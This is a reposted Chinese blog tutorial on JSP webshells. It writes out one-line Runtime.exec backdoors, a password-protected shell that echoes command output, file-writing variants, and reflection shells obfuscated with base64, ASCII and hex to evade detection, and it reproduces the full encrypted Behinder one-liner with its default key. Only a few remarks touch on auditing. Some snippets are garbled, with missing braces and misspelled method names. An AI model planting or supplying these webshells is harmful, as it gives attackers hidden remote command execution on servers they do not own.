Java安全-Java Web后门学习 Jsp 一句话分析

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全-Java Web后门学习 Jsp 一句话分析相关的知识,希望对你有一定的参考价值。


文章目录

Java Web后门

Java 是强类型语言,不能够像 php 那样利用字符串组合当作系统函数使用

Java 中常用的命令执行函数

  1. java.lang.Runtime.exec()
  2. java.lang.ProcessBuilder.start()

一句话木马

最简单的 jsp 一句话木马

<% Runtime.getRuntime().exec(request.getParameter("i"));%>

其实这就和 PHP 的一句话一样

<?PHP eval($GET_['i']);?>

但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell,下面的代码是一个有回显并且需要密码验证的 jsp 木马

<%
    if ("ocean".equals(request.getParameter("pwd"))) 
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((a = in.read(b)) != -1) 
            out.print(new String(b));
        
        out.print("</pre>");
    

%>

Runtime 类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec() 方法执行系统命令

request 为 JSP 内置对象,getParameter() 方法获取请求参数 cmd的值构建命令

其中:html里的 pre 标签,可定义预格式化的文本。在 pre 元素中的文本会保留空格和换行符。文本显现为等宽字体,经常会在要保持文本格式的时候使用 pre 标签,比如当我们要展示源代码的时候,只要放一个 pre 标签,然后把源代码直接复制,粘贴,然后在页面上就可以保持好格式。不会像放在其它标签里那样,把换行和空格都自动折叠了

执行效果如下

Windows 操作系统中可能会带来乱码问题,可以在文件头加上以下两句解决

<%@ page contentType="text/html;charset=GBK"%>
<%@ page contentType="text/html;charset=gb2312"%>

当然除了把数据回显也可以写入执行文件中

<%new java.io.FileOutputStream(request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>

或者写入 web 目录

<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>

这种是最简单的一句话,审计时很容易被发现

反射调用

因为反射可以调用各种私有类方法,所以利用反射的后门比较多

<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@page import="sun.misc.BASE64Decoder" %>
<%@page import="java.lang.reflect.Method" %>
<%
    BASE64Decoder base64Decoder = new BASE64Decoder();
    Class runtime = Class.forName(new String(base64Decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
    Process method = (Process) runtime.getMethod(new String(base64Decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(runtime.getMethod(new String(base64Decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[] 
    ), request.getParameter("cmd"));

    java.io.InputStream in = method.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a = in.read(b)) != -1) 
        out.print(new String(b));
    
    out.print("</pre>");
%>

重点就是这段代码

去掉 base64 就是以下代码

Class runtime = Class.forName("java.lang.Runtime");
Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[]), request.getParameter("cmd"));

非常经典的反射

没有直接使用调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用变形来隐藏关键函数,这里用的是 base64,同理可以使用 hex 和 ascii 的编码绕过

Acsii

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
    if(request.getParameter("cmd")!=null)
        Class rt = Class.forName(new String(new byte[]  106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 ));
        Process e = (Process) rt.getMethod(new String(new byte[]  101, 120, 101, 99 ), String.class).invoke(rt.getMethod(new String(new byte[]  103, 101, 116, 82, 117, 110, 116, 105, 109, 101 )).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1) out.println(new String(b)); out.print("</pre>");
    
%>

Hex

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
    if(request.getParameter("cmd")!=null)
        Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
        Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1) out.println(new String(b)); out.print("</pre>");
    
%>

类加载(冰蝎马实现方式)

对于类加载是直接传送二进制的字节码(动态解析

java 执行代码的时候要先编译成 .class 字节码的文件才能被 jvm 所执行。如果实现任意 class 文件的加载,相当于实现了 php 中 eval 命令执行函数,即可以做到将字符串作为代码来执行

Demo

  1. 新建文件 Calc.java 首先写一个命令执行的类,调用 calc

    import java.io.IOException;
    public class Calc 
        @Override
        public String toString() 
            try 
                Runtime.getRuntime().exec("calc.exe");
             catch (IOException e) 
                e.printStackTrace();
            
            return "OK";
        
    
    

    然后使用命令编译生成字节码文件

    javac .\\Calc.java
    

  2. 主运行程序类 Loader

    import sun.misc.BASE64Decoder;
    import sun.misc.BASE64Encoder;
    
    import java.io.File;
    import java.io.FileInputStream;
    
    public class Loader 
        //实现二进制文件转成base64
        public static String encodeBase64File(String path) throws Exception 
            File file = new File(path);
            ;
            FileInputStream inputFile = new FileInputStream(file);
            byte[] buffer = new byte[(int) file.length()];
            inputFile.read(buffer);
            inputFile.close();
            return new BASE64Encoder().encode(buffer);
    
        
    
        public static class Myloader extends ClassLoader //继承ClassLoader
        
            public Class get(byte[] b) 
                return super.defineClass(b, 0, b.length);
            
        
    
        public static void main(String[] args) throws Exception 
            String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMb2JmdXNjYXRlL0NhbGM7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAeAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACgALBwAjDAAkACUBAAhjYWxjLmV4ZQwAJgAnAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAKAALAQACT0sBAA5vYmZ1c2NhdGUvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABAAOAAAADAABAAAABQAPABAAAAABABEAEgABAAwAAABtAAIAAgAAABS4AAISA7YABFenAAhMK7YABhIHsAABAAAACQAMAAUAAwANAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADgAAABYAAgANAAQAEwAUAAEAAAAUAA8AEAAAABUAAAAHAAJMBwAWBAABABcAAAACABg="; // Calc.class的base64编码
            BASE64Decoder code = new sun.misc.BASE64Decoder();
    //        String re = encodeBase64File("C:\\\\Users\\\\q2723\\\\Desktop\\\\Calc.class");
    //        System.out.println(re);
            Class result = new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
            System.out.println(result.newInstance().toString());
        
    
    

    注意修改 class 文件所在位置

成功执行系统命令

代码重点就在红框中,正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[] 直接转换为 Class,因为该方法是 protected 的,我们没办法在外部直接调用,可以通过直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法

这样传入的二进制字节码 class 文件直接就加载执行了,真的有点 PHP EVAL 的感觉了

这个 Demo 就是冰蝎实现服务端(即上传到目标机器的 jsp 马)的原型,具体可以看这篇文章:利用动态二进制加密实现新型一句话木马之Java篇

作者在进行简化成了一行,这就是现在用的冰蝎的 jsp 马,具有动态解密功能的、能解析执行任意二进制流的新型一句话木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoaderU(ClassLoader c)super(c);public Class g(byte []b)return super.defineClass(b,0,b.length);%><%if (request.getMethod().equals("POST"))String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

对于此类后门通常采用后门扫描工具检测,人工审计时要关注加密函数 BASE64Decoder() 以及 SecretKeySpec()

ELSE

  • JDK 新特性

    利用 Lambda 表达式编写的 JSP 一句话木马

    访问接口中的默认方法 Reduce 来编写 JSP 一句话木马

  • 各种表达式

  • 内存马

可以看参考文章,其中提及了很多方式

参考

利用动态二进制加密实现新型一句话木马之Java篇

jsp一句话木马

《Java 代码审计入门》

WebShell免杀之JSP

以上是关于Java安全-Java Web后门学习 Jsp 一句话分析的主要内容,如果未能解决你的问题,请参考以下文章

Java Web学习总结JSP

@Java web程序员,在保留现场,服务不重启的情况下,执行我们的调试代码(JSP 方式)

jsp js java

Java反序列化安全漏洞怎么回事

JAVA Web基础1

Java Web-JSP学习